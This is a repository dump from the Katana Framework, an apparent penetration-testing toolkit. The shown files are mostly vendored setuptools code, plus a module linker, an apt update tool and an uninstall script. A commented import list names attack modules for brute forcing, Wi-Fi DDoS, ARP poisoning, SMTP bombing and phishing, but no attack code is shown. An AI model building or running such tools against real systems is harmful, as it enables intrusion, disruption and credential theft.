https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/setuptools/setuptools/cli.exe
--------------------------------------------------------------------------------
/lib/setuptools/setuptools/command/__init__.py:
--------------------------------------------------------------------------------
1 | __all__ = [
2 | 'alias', 'bdist_egg', 'bdist_rpm', 'build_ext', 'build_py', 'develop',
3 | 'easy_install', 'egg_info', 'install', 'install_lib', 'rotate', 'saveopts',
4 | 'sdist', 'setopt', 'test', 'install_egg_info', 'install_scripts',
5 | 'register', 'bdist_wininst', 'upload_docs', 'upload',
6 | ]
7 |
8 | from distutils.command.bdist import bdist
9 | import sys
10 |
11 | from setuptools.command import install_scripts
12 |
13 |
14 | if 'egg' not in bdist.format_commands:
15 | bdist.format_command['egg'] = ('bdist_egg', "Python .egg file")
16 | bdist.format_commands.append('egg')
17 |
18 | del bdist, sys
19 |
--------------------------------------------------------------------------------
/lib/setuptools/setuptools/command/bdist_wininst.py:
--------------------------------------------------------------------------------
1 | import distutils.command.bdist_wininst as orig
2 |
3 |
4 | class bdist_wininst(orig.bdist_wininst):
5 |
6 | def reinitialize_command(self, command, reinit_subcommands=0):
7 | """
8 | Supplement reinitialize_command to work around
9 | http://bugs.python.org/issue20819
10 | """
11 | cmd = self.distribution.reinitialize_command(
12 | command, reinit_subcommands)
13 | if command in ('install', 'install_lib'):
14 | cmd.install_lib = None
15 | return cmd
16 |
17 | def run(self):
18 | self._is_running = True
19 | try:
20 | orig.bdist_wininst.run(self)
21 | finally:
22 | self._is_running = False
23 |
--------------------------------------------------------------------------------
/lib/setuptools/setuptools/command/launcher manifest.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
--------------------------------------------------------------------------------
/lib/setuptools/setuptools/command/register.py:
--------------------------------------------------------------------------------
1 | import distutils.command.register as orig
2 |
3 |
4 | class register(orig.register):
5 | __doc__ = orig.register.__doc__
6 |
7 | def run(self):
8 | # Make sure that we are using valid current name/version info
9 | self.run_command('egg_info')
10 | orig.register.run(self)
11 |
--------------------------------------------------------------------------------
/lib/setuptools/setuptools/command/saveopts.py:
--------------------------------------------------------------------------------
1 | from setuptools.command.setopt import edit_config, option_base
2 |
3 |
4 | class saveopts(option_base):
5 | """Save command-line options to a file"""
6 |
7 | description = "save supplied options to setup.cfg or other config file"
8 |
9 | def run(self):
10 | dist = self.distribution
11 | settings = {}
12 |
13 | for cmd in dist.command_options:
14 |
15 | if cmd == 'saveopts':
16 | continue # don't save our own options!
17 |
18 | for opt, (src, val) in dist.get_option_dict(cmd).items():
19 | if src == "command line":
20 | settings.setdefault(cmd, {})[opt] = val
21 |
22 | edit_config(self.filename, settings, self.dry_run)
23 |
--------------------------------------------------------------------------------
/lib/setuptools/setuptools/extern/__init__.py:
--------------------------------------------------------------------------------
1 | from pkg_resources.extern import VendorImporter
2 |
3 |
4 | names = 'six',
5 | VendorImporter(__name__, names, 'pkg_resources._vendor').install()
6 |
--------------------------------------------------------------------------------
/lib/setuptools/setuptools/gui-32.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/setuptools/setuptools/gui-32.exe
--------------------------------------------------------------------------------
/lib/setuptools/setuptools/gui-64.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/setuptools/setuptools/gui-64.exe
--------------------------------------------------------------------------------
/lib/setuptools/setuptools/gui.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/setuptools/setuptools/gui.exe
--------------------------------------------------------------------------------
/lib/setuptools/setuptools/launch.py:
--------------------------------------------------------------------------------
1 | """
2 | Launch the Python script on the command line after
3 | setuptools is bootstrapped via import.
4 | """
5 |
6 | # Note that setuptools gets imported implicitly by the
7 | # invocation of this script using python -m setuptools.launch
8 |
9 | import tokenize
10 | import sys
11 |
12 |
13 | def run():
14 | """
15 | Run the script in sys.argv[1] as if it had
16 | been invoked naturally.
17 | """
18 | __builtins__
19 | script_name = sys.argv[1]
20 | namespace = dict(
21 | __file__=script_name,
22 | __name__='__main__',
23 | __doc__=None,
24 | )
25 | sys.argv[:] = sys.argv[1:]
26 |
27 | open_ = getattr(tokenize, 'open', open)
28 | script = open_(script_name).read()
29 | norm_script = script.replace('\\r\\n', '\\n')
30 | code = compile(norm_script, script_name, 'exec')
31 | exec(code, namespace)
32 |
33 |
34 | if __name__ == '__main__':
35 | run()
36 |
--------------------------------------------------------------------------------
/lib/setuptools/setuptools/py26compat.py:
--------------------------------------------------------------------------------
1 | """
2 | Compatibility Support for Python 2.6 and earlier
3 | """
4 |
5 | import sys
6 |
7 | try:
8 | from urllib.parse import splittag
9 | except ImportError:
10 | from urllib import splittag
11 |
12 |
13 | def strip_fragment(url):
14 | """
15 | In `Python 8280 `_, Python 2.7 and
16 | later was patched to disregard the fragment when making URL requests.
17 | Do the same for Python 2.6 and earlier.
18 | """
19 | url, fragment = splittag(url)
20 | return url
21 |
22 |
23 | if sys.version_info >= (2, 7):
24 | strip_fragment = lambda x: x
25 |
26 |
27 | try:
28 | from importlib import import_module
29 | except ImportError:
30 | def import_module(module_name):
31 | return __import__(module_name, fromlist=['__name__'])
32 |
--------------------------------------------------------------------------------
/lib/setuptools/setuptools/py27compat.py:
--------------------------------------------------------------------------------
1 | """
2 | Compatibility Support for Python 2.7 and earlier
3 | """
4 |
5 | import sys
6 |
7 |
8 | def get_all_headers(message, key):
9 | """
10 | Given an HTTPMessage, return all headers matching a given key.
11 | """
12 | return message.get_all(key)
13 |
14 |
15 | if sys.version_info < (3,):
16 | def get_all_headers(message, key):
17 | return message.getheaders(key)
18 |
--------------------------------------------------------------------------------
/lib/setuptools/setuptools/script (dev).tmpl:
--------------------------------------------------------------------------------
1 | # EASY-INSTALL-DEV-SCRIPT: %(spec)r,%(script_name)r
2 | __requires__ = %(spec)r
3 | __import__('pkg_resources').require(%(spec)r)
4 | __file__ = %(dev_path)r
5 | exec(compile(open(__file__).read(), __file__, 'exec'))
6 |
--------------------------------------------------------------------------------
/lib/setuptools/setuptools/script.tmpl:
--------------------------------------------------------------------------------
1 | # EASY-INSTALL-SCRIPT: %(spec)r,%(script_name)r
2 | __requires__ = %(spec)r
3 | __import__('pkg_resources').run_script(%(spec)r, %(script_name)r)
4 |
--------------------------------------------------------------------------------
/lib/setuptools/setuptools/tests/files.py:
--------------------------------------------------------------------------------
1 | import os
2 |
3 |
4 | def build_files(file_defs, prefix=""):
5 | """
6 | Build a set of files/directories, as described by the file_defs dictionary.
7 |
8 | Each key/value pair in the dictionary is interpreted as a filename/contents
9 | pair. If the contents value is a dictionary, a directory is created, and the
10 | dictionary interpreted as the files within it, recursively.
11 |
12 | For example:
13 |
14 | {"README.txt": "A README file",
15 | "foo": {
16 | "__init__.py": "",
17 | "bar": {
18 | "__init__.py": "",
19 | },
20 | "baz.py": "# Some code",
21 | }
22 | }
23 | """
24 | for name, contents in file_defs.items():
25 | full_name = os.path.join(prefix, name)
26 | if isinstance(contents, dict):
27 | if not os.path.exists(full_name):
28 | os.makedirs(full_name)
29 | build_files(contents, prefix=full_name)
30 | else:
31 | with open(full_name, 'w') as f:
32 | f.write(contents)
33 |
--------------------------------------------------------------------------------
/lib/setuptools/setuptools/tests/fixtures.py:
--------------------------------------------------------------------------------
1 | import pytest
2 |
3 | from . import contexts
4 |
5 |
6 | @pytest.yield_fixture
7 | def user_override(monkeypatch):
8 | """
9 | Override site.USER_BASE and site.USER_SITE with temporary directories in
10 | a context.
11 | """
12 | with contexts.tempdir() as user_base:
13 | monkeypatch.setattr('site.USER_BASE', user_base)
14 | with contexts.tempdir() as user_site:
15 | monkeypatch.setattr('site.USER_SITE', user_site)
16 | with contexts.save_user_site_setting():
17 | yield
18 |
19 |
20 | @pytest.yield_fixture
21 | def tmpdir_cwd(tmpdir):
22 | with tmpdir.as_cwd() as orig:
23 | yield orig
24 |
--------------------------------------------------------------------------------
/lib/setuptools/setuptools/tests/indexes/test_links_priority/external.html:
--------------------------------------------------------------------------------
1 |
2 | bad old link
3 |
4 |
--------------------------------------------------------------------------------
/lib/setuptools/setuptools/tests/indexes/test_links_priority/simple/foobar/index.html:
--------------------------------------------------------------------------------
1 |
2 | foobar-0.1.tar.gz
3 | external homepage
4 |
5 |
--------------------------------------------------------------------------------
/lib/setuptools/setuptools/tests/py26compat.py:
--------------------------------------------------------------------------------
1 | import sys
2 | import tarfile
3 | import contextlib
4 |
5 |
6 | def _tarfile_open_ex(*args, **kwargs):
7 | """
8 | Extend result as a context manager.
9 | """
10 | return contextlib.closing(tarfile.open(*args, **kwargs))
11 |
12 |
13 | if sys.version_info[:2] < (2, 7) or (3, 0) <= sys.version_info[:2] < (3, 2):
14 | tarfile_open = _tarfile_open_ex
15 | else:
16 | tarfile_open = tarfile.open
17 |
--------------------------------------------------------------------------------
/lib/setuptools/setuptools/tests/script-with-bom.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | result = 'passed'
4 |
--------------------------------------------------------------------------------
/lib/setuptools/setuptools/tests/test_build_py.py:
--------------------------------------------------------------------------------
1 | import os
2 |
3 | import pytest
4 |
5 | from setuptools.dist import Distribution
6 |
7 |
8 | @pytest.yield_fixture
9 | def tmpdir_as_cwd(tmpdir):
10 | with tmpdir.as_cwd():
11 | yield tmpdir
12 |
13 |
14 | def test_directories_in_package_data_glob(tmpdir_as_cwd):
15 | """
16 | Directories matching the glob in package_data should
17 | not be included in the package data.
18 |
19 | Regression test for #261.
20 | """
21 | dist = Distribution(dict(
22 | script_name='setup.py',
23 | script_args=['build_py'],
24 | packages=[''],
25 | name='foo',
26 | package_data={'': ['path/*']},
27 | ))
28 | os.makedirs('path/subpath')
29 | dist.parse_command_line()
30 | dist.run_commands()
31 |
--------------------------------------------------------------------------------
/lib/setuptools/setuptools/tests/test_unicode_utils.py:
--------------------------------------------------------------------------------
1 | from setuptools import unicode_utils
2 |
3 |
4 | def test_filesys_decode_fs_encoding_is_None(monkeypatch):
5 | """
6 | Test filesys_decode does not raise TypeError when
7 | getfilesystemencoding returns None.
8 | """
9 | monkeypatch.setattr('sys.getfilesystemencoding', lambda: None)
10 | unicode_utils.filesys_decode(b'test')
11 |
--------------------------------------------------------------------------------
/lib/setuptools/setuptools/tests/textwrap.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import
2 |
3 | import textwrap
4 |
5 |
6 | def DALS(s):
7 | "dedent and left-strip"
8 | return textwrap.dedent(s).lstrip()
9 |
--------------------------------------------------------------------------------
/lib/setuptools/setuptools/utils.py:
--------------------------------------------------------------------------------
1 | import os
2 | import os.path
3 |
4 |
5 | def cs_path_exists(fspath):
6 | if not os.path.exists(fspath):
7 | return False
8 | # make absolute so we always have a directory
9 | abspath = os.path.abspath(fspath)
10 | directory, filename = os.path.split(abspath)
11 | return filename in os.listdir(directory)
12 |
--------------------------------------------------------------------------------
/lib/setuptools/setuptools/version.py:
--------------------------------------------------------------------------------
1 | import pkg_resources
2 |
3 | try:
4 | __version__ = pkg_resources.require('setuptools')[0].version
5 | except Exception:
6 | __version__ = 'unknown'
7 |
--------------------------------------------------------------------------------
/lib/setuptools/setuptools/windows_support.py:
--------------------------------------------------------------------------------
1 | import platform
2 | import ctypes
3 |
4 |
5 | def windows_only(func):
6 | if platform.system() != 'Windows':
7 | return lambda *args, **kwargs: None
8 | return func
9 |
10 |
11 | @windows_only
12 | def hide_file(path):
13 | """
14 | Set the hidden attribute on a file or directory.
15 |
16 | From http://stackoverflow.com/questions/19622133/
17 |
18 | `path` must be text.
19 | """
20 | __import__('ctypes.wintypes')
21 | SetFileAttributes = ctypes.windll.kernel32.SetFileAttributesW
22 | SetFileAttributes.argtypes = ctypes.wintypes.LPWSTR, ctypes.wintypes.DWORD
23 | SetFileAttributes.restype = ctypes.wintypes.BOOL
24 |
25 | FILE_ATTRIBUTE_HIDDEN = 0x02
26 |
27 | ret = SetFileAttributes(path, FILE_ATTRIBUTE_HIDDEN)
28 | if not ret:
29 | raise ctypes.WinError()
30 |
--------------------------------------------------------------------------------
/lib/setuptools/tox.ini:
--------------------------------------------------------------------------------
1 | [tox]
2 | envlist = py26,py27,py33,py34,py35,pypy,pypy3
3 |
4 | [testenv]
5 | deps=
6 | pytest-flake8
7 | pytest>=3.0.2
8 | passenv=APPDATA USERPROFILE HOMEDRIVE HOMEPATH windir
9 | commands=python setup.py test --addopts='-rsx'
10 |
--------------------------------------------------------------------------------
/linker.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #HEAD#########################################################
3 | #
4 | # Katana Framework | linker
5 | # Last Modified: 15/09/2016
6 | #
7 | #########################################################HEAD#
8 |
9 |
10 | from core.Internal import (GetRootModules)
11 |
12 | import importlib
13 | import argparse
14 |
15 | parser = argparse.ArgumentParser()
16 | parser.add_argument("-m", "--module", help=" Script module to run.")
17 | args = parser.parse_args()
18 |
19 |
20 | if __name__=="__main__":
21 | for modules in GetRootModules().findall('module'):
22 | if args.module == modules.get('name'):
23 | category = modules.find('category').text
24 | filename = modules.find('filename').text
25 | ModuleToStart = importlib.import_module("modules."+category+"."+filename)
26 | init=ModuleToStart.init()
27 | output = ""
28 | for VAR in init.options:
29 | output += VAR+":_:"+str(init.options[VAR][0])+":_:"+str(init.options[VAR][1])+":_:"+str(init.options[VAR][2])+":_:_:"
30 |
31 | print output[:-5]
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
--------------------------------------------------------------------------------
/modules/__init__.py:
--------------------------------------------------------------------------------
1 | #
2 | # Katana framework
3 | # @Katana Modules import
4 | #
5 |
6 | # import Sniff
7 | # import LFDconsole
8 | # import PortScanner
9 | # import forenseIMAGE
10 | # import Whois
11 | # import GenDic
12 | # import Wifi_DDOS
13 | # import WpaBTF
14 | # import services
15 | # import Joomscan
16 | # import TLogin
17 | # import FuzzerFTP
18 | # import BruteForcePOP3
19 | # import BruteForceSQL
20 | # import BruteForceSSH
21 | # import BruteForceFTP
22 | # import BruteRAR
23 | # import BruteZIP
24 | # import BruteForceFormBase
25 | # import BruteForceHTTP
26 | # import ClientMYSQL
27 | # import ClientFTP
28 | # import ClientPOP3
29 | # import GetDataReport
30 | # import ARPmon
31 | # import webadminfinder
32 | # import LANScanner
33 | # import facebrok
34 | # import ARPPoisoning
35 | # import smtpBombing
36 | # import Iandl
37 | # import dosweb
38 |
--------------------------------------------------------------------------------
/modules/anf/__init__.py:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/modules/btf/__init__.py:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/modules/clt/__init__.py:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/modules/fle/__init__.py:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/modules/mcs/__init__.py:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/modules/msf/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/modules/msf/__init__.py
--------------------------------------------------------------------------------
/modules/net/__init__.py:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/modules/set/__init__.py:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/modules/web/__init__.py:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/modules/wifi/__init__.py:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/tmp/tor:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/tmp/tor
--------------------------------------------------------------------------------
/tools/__init__.py:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/tools/update_system.py:
--------------------------------------------------------------------------------
1 | # This Tool requires katana framework
2 | # https://github.com/PowerScript/KatanaFramework
3 |
4 | # :-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-: #
5 | # Katana Core import #
6 | from core.KatanaFramework import * #
7 | # :-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-: #
8 |
9 | # LIBRARIES
10 | from os import system as sysc
11 | # END LIBRARIE
12 |
13 | class init:
14 |
15 | Author = "0xicl33n"
16 | Description = "Update Debian based system"
17 | var = {}
18 | Arguments = {
19 |
20 | 'y':[False,'No Assume "yes" and proceed with update']}
21 |
22 | def Main():
23 | Assume="--yes"
24 | if init.var['y'] == "enable":Assume=""
25 | sysc('sudo apt-get update && sudo apt-get '+Assume+' upgrade && sudo apt-get clean && sudo apt-get dist-upgrade '+Assume)
26 |
--------------------------------------------------------------------------------
/uninstall:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | #HEAD#########################################################
3 | #
4 | # Katana Framework | uninstall
5 | # Last Modified: 14/03/2017
6 | #
7 | #########################################################HEAD#
8 |
9 | rm -f /usr/bin/ktf.console;
10 | rm -f /usr/bin/ktf.linker;
11 | rm -f /usr/bin/ktf.update;
12 | rm -f /usr/bin/ktf.ktf;
13 | rm -f /usr/bin/ktf.tool;
14 | rm -f /usr/bin/ktf.run;
15 | rm -f /usr/bin/ktf.gui;
16 | rm -r /usr/share/KatanaFramework/*
17 |
--------------------------------------------------------------------------------